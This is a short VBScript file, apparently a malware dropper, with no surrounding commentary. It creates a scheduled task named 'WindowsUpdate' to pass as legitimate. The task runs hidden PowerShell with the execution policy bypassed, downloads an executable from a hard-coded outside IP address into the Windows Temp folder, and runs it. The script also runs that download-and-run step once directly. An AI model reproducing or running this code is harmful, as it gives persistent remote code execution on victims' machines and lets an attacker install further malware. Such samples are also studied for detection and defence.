Set ALfUj = CreateObject("WScript.Shell")
ALfUj.run "schtasks /create /sc MINUTE /mo 100 /tn ""WindowsUpdate"" /tr ""\""%windir%\System32\WindowsPowershell\v1.0\powershell.exe\"" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command curl http://104.168.46.25/890/oj/hkcmds.exe -o C:\Windows\Temp\hkcmd.exe;Start-Process powershell.exe C:\Windows\Temp\hkcmd.exe -NoNewWindow"
ALfUj.Run "%windir%\System32\WindowsPowershell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""& { curl http://104.168.46.25/890/oj/hkcmds.exe -o C:\Windows\Temp\hkcmd.exe; Start-Process powershell.exe C:\Windows\Temp\hkcmd.exe -NoNewWindow }""", 0, False